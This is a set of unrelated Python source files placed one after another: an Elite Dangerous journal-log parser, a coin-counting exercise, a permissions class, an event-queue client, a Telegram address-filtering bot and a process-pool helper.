                        elif ((logEvent == 'ReceiveText' and 'AttackDutyStart' in logJson['Message']) or logEvent == 'Interdicted' or logEvent == 'UnderAttack' or (logEvent == 'Music' and (logJson['MusicTrack'] == 'Interdiction' or logJson['MusicTrack'] == 'Combat_Dogfight'))) and journal.log.updateInterval <= 30: # May be interdicted!
                            journal.signs.add('UnderAttack')
                        elif logEvent == 'Scanned' and journal.log.updateInterval <= 30 : # logged within 30 seconds
                            journal.signs.add('Scanned')
                        elif logEvent == 'Resurrect' or logEvent == 'LoadGame' or logEvent == 'Shutdown': # Ship destroyed / Reload the game
                            if 'UnderAttack' in journal.signs: journal.signs.remove('UnderAttack')
                            if 'Scanned' in journal.signs: journal.signs.remove('Scanned')

                        elif logEvent == 'Music': # music playing
                            if logJson['MusicTrack'] == 'DestinationFromHyperspace' and journal.nav.target is not None: # Finish multi-hop route
                                journal.nav.target = journal.nav.lastTarget = None
                            elif logJson['MusicTrack'] == 'MainMenu': journal.status = 'MainMenu'
                            elif logJson['MusicTrack'] == 'DockingComputer':
                                if journal.status == 'startUndock': journal.status = 'undocking'
                                elif journal.status == 'startDock': journal.status = 'docking'

                        elif logEvent == 'DockingRequested': journal.status = 'startDock'

                        elif logEvent == 'Docked':
                            journal.status = 'Docked'
                            journal.nav.dockedStation = logJson['StationName']

                        elif logEvent == 'StartJump':
                            if logJson['JumpType'] == 'Hyperspace' and 'StarSystem' in logJson:
                                journal.status = 'startJump'
                                journal.nav.location = logJson['StarSystem']
                                journal.nav.lastTarget = logJson['StarSystem']
                                journal.nav.targetStarClass = logJson['StarClass']
                            elif logJson['JumpType'] == 'Supercruise':
                                journal.status = 'supercruise'

                        elif logEvent == 'SupercruiseEntry': journal.status = 'supercruise'

                        elif logEvent == 'SupercruiseExit' or logEvent == 'DockingCancelled': journal.status = 'normal'

                        elif logEvent == 'Undocked': journal.status = 'normal'

                        elif logEvent == 'FSDTarget':
                            if logJson['Name'] == journal.nav.location : journal.nav.target = None
                            else:
                                journal.nav.target = logJson['Name']
                                if 'RemainingJumpsInRoute' in logJson: # Multi-Hop
                                    journal.nav.remainingJumps = logJson['RemainingJumpsInRoute']
                                else : journal.nav.remainingJumps = 1 # single hop

                        elif logEvent == 'FSDJump':
                            journal.ship.fuel = logJson['FuelLevel']
                            journal.ship.fuelLevel = round((journal.ship.fuel/journal.ship.fuelCap)*100)
                            if journal.nav.lastTarget == logJson['StarSystem']:
                                journal.nav.lastTarget = None
                                journal.status = 'finishJump'
                                if journal.nav.target == logJson['StarSystem'] and journal.nav.remainingJumps == 0 :
                                    journal.nav.targetStarClass = None
                                    journal.nav.target = None # Finish route

                        elif (logEvent == 'Location' or logEvent == 'FSDJump') and 'StarSystem' in logJson:
                            journal.nav.location = logJson['StarSystem']

                        elif logEvent == 'MissionAccepted': # Add to Mission List
                            journal.missions.add(mission(id=logJson['MissionID'],localisedName=logJson['LocalisedName'],reward=logJson['Reward'],wing=logJson['Wing']))
                        elif (logEvent == 'MissionAbandoned' or logEvent == 'MissionCompleted' or logEvent == 'MissionFailed' )and mission(id=logJson['MissionID']) in journal.missions:
                            journal.missions.remove(mission(id=logJson['MissionID']))

                    if journal.status != 'Docked' and journal.nav.dockedStation is not None: journal.nav.dockedStation = None
    except IOError as e:
        if logger: logger.warn("Error in reading journal logs "+e)
        else:
            print("Error in reading journal logs "+e)
            traceback.print_exc()
    return journal

if __name__ == '__main__': # Test
    # parseLogs()
    # print(getLatestLogPath())
    # print(journal['status'])
    # print(journal['location'])
    # print(journal['dockedStation'])
    # print(journal['target'])
    # print(journal['missions'])
    # print(journal['isUnderAttack'])
    # print(journal['isBeingScanned'])
    jn = parseLogs()
    print(jn.nav.targetStarClass)


n = int(input("Введите количество монеток: "))
coins = input("Введите состояние монеток (орел - 1, решка - 0): ")
count_heads = 0
count_tails = 0
for i in coins:
    if i == '1':
        count_tails += 1
    else:
        count_heads += 1
print(min(count_heads, count_tails))


from .auth_exception import *
from .authenticator import *
# import auth_exception

class Authorizer:

    def __init__(self, authenticators):
        self.authenticator = authenticator
        self.permissions = {}

    def add_permission(self, perm_name):
        # Create a new permission that users can be added to
        try:
            perm_set = self.permissions[perm_name]
        except KeyError:
            self.permissions[perm_name] = set()
        else:
            raise PermissionsError('Permission Exists')

    def permit_user(self, perm_name, username):
        # Grant the given permission to the user
        try:
            perm_set = self.permissions[perm_name]
        except KeyError:
            raise PermissionsError('Permission does not Exists')
        else:
            if username not in self.authenticator.administrator:
                raise InvalidAdministratorName(username)
            perm_set.add(username)

    def check_permission(self, perm_name, username):
        if not self.authenticator.is_logged_in(username):
            raise NotLoggedInError(username)
        try:
            perm_set = self.permissions[perm_name]
        except KeyError:
            raise PermissionsError('Permission does not Exists')
        else:
            if username not in perm_set:
                raise NotPermittedError(username)
            else:
                return True

authorizer = Authorizer(authenticator)


"""Client library for sending events to the data processing system.

This is for use with the event collector system. Events generally track
something that happens in production that we want to instrument for planning
and analytical purposes.

Events are serialized and put onto a message queue on the same server. These
serialized events are then consumed and published to the remote event collector
by a separate daemon.

See also: https://github.com/reddit/event-collector

"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import calendar
import json
import time
import uuid

from . import MAX_EVENT_SIZE, MAX_QUEUE_SIZE
from baseplate.message_queue import MessageQueue, TimedOutError

class Event(object):
    """An event."""
    def __init__(self, topic, event_type, timestamp=None, id=None):
        self.topic = topic
        self.event_type = event_type
        if timestamp:
            if timestamp.tzinfo and timestamp.utcoffset().total_seconds() != 0:
                raise ValueError("Timestamps must be in UTC")
            self.timestamp = calendar.timegm(timestamp.timetuple()) * 1000
        else:
            self.timestamp = time.time() * 1000
        self.id = id or uuid.uuid4()
        self.payload = {}

    def get_field(self, key, obfuscated=False):
        """Get the value of a field in the event.

        If the field is not present, :py:data:`None` is returned.

        :param str key: The name of the field.
        :param bool obfuscated: Whether to look for the field in the obfuscated
            payload.

        """

        if not obfuscated:
            payload = self.payload
        else:
            payload = self.payload.get("obfuscated_data", {})
        return payload.get(key, None)

    def set_field(self, key, value, obfuscate=False):
        """Set the value for a field in the event.

        :param str key: The name of the field.
        :param value: The value to set the field to. Should be JSON
            serializable.
        :param bool obfuscate: Whether or not to put the field in the obfuscated
            section. This is used for sensitive info like IP addresses that must
            be treated with care.

        """

        # There's no need to send null/empty values, the collector will act
        # the same whether they're sent or not. Zeros are important though,
        # so we can't use a simple boolean truth check here.
        if value is None or value == "":
            return

        if not obfuscate:
            self.payload[key] = value
        else:
            obfuscated_payload = self.payload.setdefault("obfuscated_data", {})
            obfuscated_payload[key] = value

    def serialize(self):
        return json.dumps({
            "event_topic": self.topic,
            "event_type": self.event_type,
            "event_ts": int(self.timestamp),
            "uuid": str(self.id),
            "payload": self.payload,
        })

class EventError(Exception):
    """Base class for event related exceptions."""
    pass

class EventTooLargeError(EventError):
    """Raised when a serialized event is too large to send."""
    def __init__(self, size):
        super(EventTooLargeError, self).__init__(
            "Event is too large to send (%d bytes)" % size)

class EventQueueFullError(EventError):
    """Raised when the queue of events is full.

    This usually indicates that the event publisher is having trouble talking
    to the event collector.

    """
    def __init__(self):
        super(EventQueueFullError, self).__init__("The event queue is full.")

class EventQueue(object):
    """A queue to transfer events to the publisher."""

    def __init__(self, name):
        self.queue = MessageQueue(
            "/events-" + name,
            max_messages=MAX_QUEUE_SIZE,
            max_message_size=MAX_EVENT_SIZE,
        )

    def put(self, event):
        """Add an event to the queue.

        The queue is local to the server this code is run on. The event
        publisher on the server will take these events and send them to the
        collector.

        :param baseplate.events.Event event: The event to send.
        :raises: :py:exc:`EventTooLargeError` The serialized event is too large.
        :raises: :py:exc:`EventQueueFullError` The queue is full. Events are
            not being published fast enough.

        """
        serialized = event.serialize()
        if len(serialized) > MAX_EVENT_SIZE:
            raise EventTooLargeError(len(serialized))

        try:
            self.queue.put(serialized, timeout=0)
        except TimedOutError:
            raise EventQueueFullError


import asyncio
import atexit
import dataclasses
import multiprocessing
import time
from typing import Any, Dict

from aiogram import Bot, Dispatcher
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Text
from aiogram.dispatcher.filters.state import State, StatesGroup
from aiogram.types import BotCommand, InlineKeyboardButton, InlineKeyboardMarkup, CallbackQuery, Message
from aiogram.utils import executor
from aiogram.utils.exceptions import MessageToForwardNotFound, ChatNotFound
from aiogram.contrib.middlewares.i18n import I18nMiddleware

from tg_filtering_bot.async_queue import AsyncQueue
from tg_filtering_bot.config import settings
from tg_filtering_bot.crud.crud import (
    create_or_update_user_chat,
    add_filter,
    get_user_filters,
    disable_filter
)
from tg_filtering_bot.crud.dto import UserFilterDTO, UserChatDTO, ForwardMessageDTO
from tg_filtering_bot.logger import get_logger

I18N = I18nMiddleware(settings.I18N_DOMAIN, settings.LOCALES_DIR)
_ = I18N.gettext

class UserState(StatesGroup):
    adding = State()
    deleting = State()

@dataclasses.dataclass
class DeleteFilterData:
    order: int
    button: InlineKeyboardButton
    filter_: UserFilterDTO

def build_delete_filters_markup(
    storage_data: Dict[str, DeleteFilterData]
) -> InlineKeyboardMarkup:
    inline_kb = InlineKeyboardMarkup()

    delete_filters_data = [d for d in storage_data.values() if isinstance(d, DeleteFilterData)]
    for data in sorted(delete_filters_data, key=lambda d: d.order):
        inline_kb.add(data.button)
    return inline_kb

class FilteringBot:
    LOGGER = get_logger("FilteringBot")
    _BTN_DELETE_PREFIX = "delete_"

    def __init__(self, message_queue: AsyncQueue) -> None:
        self._message_queue = message_queue

        self.storage = MemoryStorage()
        self.bot = Bot(settings.BOT_TOKEN)
        self.dispatcher = Dispatcher(self.bot, storage=self.storage)
        self.dispatcher.middleware.setup(I18N)

        self.LOGGER.info("Bot created")

        self.dispatcher.register_message_handler(
            self.start_command,
            commands=['start'],
            state="*"
        )

        self.dispatcher.register_message_handler(
            self.add_command,
            commands=['add'],
            state="*"
        )

        self.dispatcher.register_message_handler(
            self.delete_command,
            commands=['delete'],
            state="*"
        )

        self.dispatcher.register_message_handler(
            self.list_command,
            commands=['list'],
            state="*"
        ),

        self.dispatcher.register_message_handler(
            self.cancel_command,
            commands=['cancel'],
            state="*"
        ),
        self.dispatcher.register_message_handler(
            self.add_address,
            state=UserState.adding
        ),

        self.dispatcher.register_callback_query_handler(
            self.delete_address,
            Text(startswith=self._BTN_DELETE_PREFIX),
            state=UserState.deleting
        )

    async def _set_base_commands(self) -> None:
        await self.bot.delete_my_commands()
        await self.bot.set_my_commands(commands=[
            BotCommand(
                command="add",
                description=_("Add new address")
            ),
            BotCommand(
                command="list",
                description=_("List addresses")
            ),
            BotCommand(
                command="delete",
                description=_("Delete address")
            ),
            BotCommand(
                command="cancel",
                description=_("Cancel previous command")
            ),
        ])

    async def _register_user(self, message: Any) -> None:
        if message:
            self.LOGGER.info("Adding or updating user %s, chat %s", message.from_user.id, message.chat.id)

            user_chat_dto = UserChatDTO(
                user_id=message.from_user.id,
                chat_id=message.chat.id,
                name=message.from_user.full_name,
                username=message.from_user.username,
                language_code=message.from_user.language_code
            )
            await create_or_update_user_chat(user_chat_dto)

    async def _process_message_queue(self) -> None:
        message = await self._message_queue.get()
        if isinstance(message, ForwardMessageDTO):
            return await self.forward_message(message)

        raise NotImplementedError(f"Processing for {message} is not implemented")

    async def _periodic(self) -> None:
        while True:
            try:
                await self._process_message_queue()
            except Exception as e:
                self.LOGGER.exception(e)

    def start_bot(self) -> None:
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.create_task(self._set_base_commands())
        loop.create_task(self._periodic())
        executor.start_polling(self.dispatcher, loop=loop)

    def stop_bot(self) -> None:
        self.dispatcher.stop_polling()

    async def _clear_state(self, state: FSMContext) -> None:
        await state.reset_state()
        await state.reset_data()
        await self._set_base_commands()

    async def start_command(self, message: Message, state: FSMContext) -> None:
        await self._register_user(message)
        await self._clear_state(state)

        await message.reply(_("""Hi there,
I am a filtering bot for '{channel}' channel.
Please use command {command} to add a new address.""").format(
            channel=settings.LISTENER_CHANNEL_NAME, command="/add"
        ))

    async def add_command(self, message: Message, state: FSMContext) -> None:
        await self._register_user(message)

        await state.set_state(UserState.adding)
        await self.bot.send_message(message.chat.id, _("Please type street name to create a filter"))

    async def delete_command(self, message: Message, state: FSMContext) -> None:
        await self._register_user(message)

        filters = await get_user_filters(user_id=message.from_user.id)

        if not filters:
            return await message.reply(_("You have no addresses to delete"))

        await state.set_state(UserState.deleting)

        storage_data = {}

        for i, f in enumerate(filters, start=1):
            key = f"{self._BTN_DELETE_PREFIX}{f.filter_id}"
            storage_data[key] = DeleteFilterData(
                order=i,
                filter_=f,
                button=InlineKeyboardButton(
                    _("{i}. Delete {address}").format(i=i, address=f.filter_),
                    callback_data=key
                )
            )
        await state.set_data(storage_data)
        inline_kb = build_delete_filters_markup(storage_data)
        await message.reply(_("Click addresses to delete"), reply_markup=inline_kb)

    async def list_command(self, message: Message, state: FSMContext) -> Message:
        await self._register_user(message)

        filters = await get_user_filters(user_id=message.from_user.id)
        if not filters:
            return await message.reply(_("You have no addresses"))

        response = _("You addresses are:") + "\r\n" + "\r\n".join(
            f"{i}. {f.filter_}" for i, f in enumerate(filters, start=1)
        )

        return await message.reply(response)

    async def cancel_command(self, message: Message, state: FSMContext) -> None:
        await self._register_user(message)
        await self._clear_state(state)

    async def add_address(self, message: Message, state: FSMContext) -> None:
        await self._register_user(message)

        address = message.text
        self.LOGGER.info("Adding new address: %s", message)

        user_filter = UserFilterDTO(user_id=message.from_user.id, filter_=address, filter_id=-1)
        await add_filter(user_filter)

#        await self.bot.delete_state(message.from_user.id, message.chat.id)
        await self.bot.send_message(
            message.chat.id, _("Filter '{address}' was added for monitoring").format(address=address)
        )
        await self._clear_state(state)

    async def delete_address(self, event: CallbackQuery, state: FSMContext) -> Message:
        self.LOGGER.warning(event)

        storage_data = await state.get_data()

        if not storage_data or event.data not in storage_data:
            return await event.message.answer(_("No address to delete"))

        delete_filter_data = storage_data.pop(event.data)
        await disable_filter(delete_filter_data.filter_)

        await state.set_data(storage_data)

        await event.message.edit_reply_markup(build_delete_filters_markup(storage_data))
        return await event.message.answer(
            _("Filter '{address}' was deleted").format(address=delete_filter_data.filter_.filter_)
        )

    async def send_message_to_user(self, forward_message: ForwardMessageDTO) -> None:
        self.LOGGER.debug(
            "Sending message %s to user %s", forward_message.message.message_id, forward_message.user_chat.user_id
        )

        await self.bot.send_message(
            forward_message.user_chat.chat_id,
            forward_message.message.message
        )

    async def forward_message(self, forward_message: ForwardMessageDTO) -> None:
        self.LOGGER.debug(
            "Forwarding message %s to user %s", forward_message.message.message_id, forward_message.user_chat.user_id
        )

        try:
            await self.bot.forward_message(
                forward_message.user_chat.chat_id,
                from_chat_id=forward_message.message.channel_id,
                message_id=forward_message.message.message_id
            )
        except (MessageToForwardNotFound, ChatNotFound):
            self.LOGGER.warning(
                "Cannot forward message %s", forward_message.message.message_id
            )
            return await self.send_message_to_user(forward_message)

def start_filtering_bot() -> AsyncQueue[ForwardMessageDTO]:
    queue: multiprocessing.Queue[ForwardMessageDTO] = multiprocessing.Queue(maxsize=settings.QUEUE_SIZE)
    message_queue = AsyncQueue(queue)

    bot = FilteringBot(
        message_queue=message_queue
    )

    process = multiprocessing.Process(target=bot.start_bot)
    process.start()
    atexit.register(bot.stop_bot)
    atexit.register(process.join)

    time.sleep(1)
    if process.exitcode is not None:
        raise RuntimeError("FilteringBot closed after launch")

    return message_queue


from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor
from traceback import format_exc

POOL_RESET_PERIOD = 10000
POOL_TASK_CHUNK = 1000

class PoolError(Exception):
    pass

def process_in_pool(handler, task_iterator, thread_pool=False,
                    pool_reset_period=POOL_RESET_PERIOD,
                    pool_task_chunk=POOL_TASK_CHUNK):
    pool = None
    futs = []
    count = 0

    while True:
        if pool is None or not count % pool_reset_period:
            if pool is not None:
                pool.shutdown()
            if thread_pool:
                pool = ThreadPoolExecutor(max_workers=1)
            else:
                pool = ProcessPoolExecutor()
            print('Pool has reseted')

        futs = []
        for x in range(pool_task_chunk):
            count += 1
            try:
                item = next(task_iterator)
            except StopIteration:
                break
            else:
                fut = pool.submit(handler, *item)
                futs.append(fut)
        print('Submited %d tasks into pool' % len(futs))

        if not futs:
            break

        for fut in futs:
            try:
                yield fut.result()
            except Exception as ex:
                yield PoolError(ex, format_exc())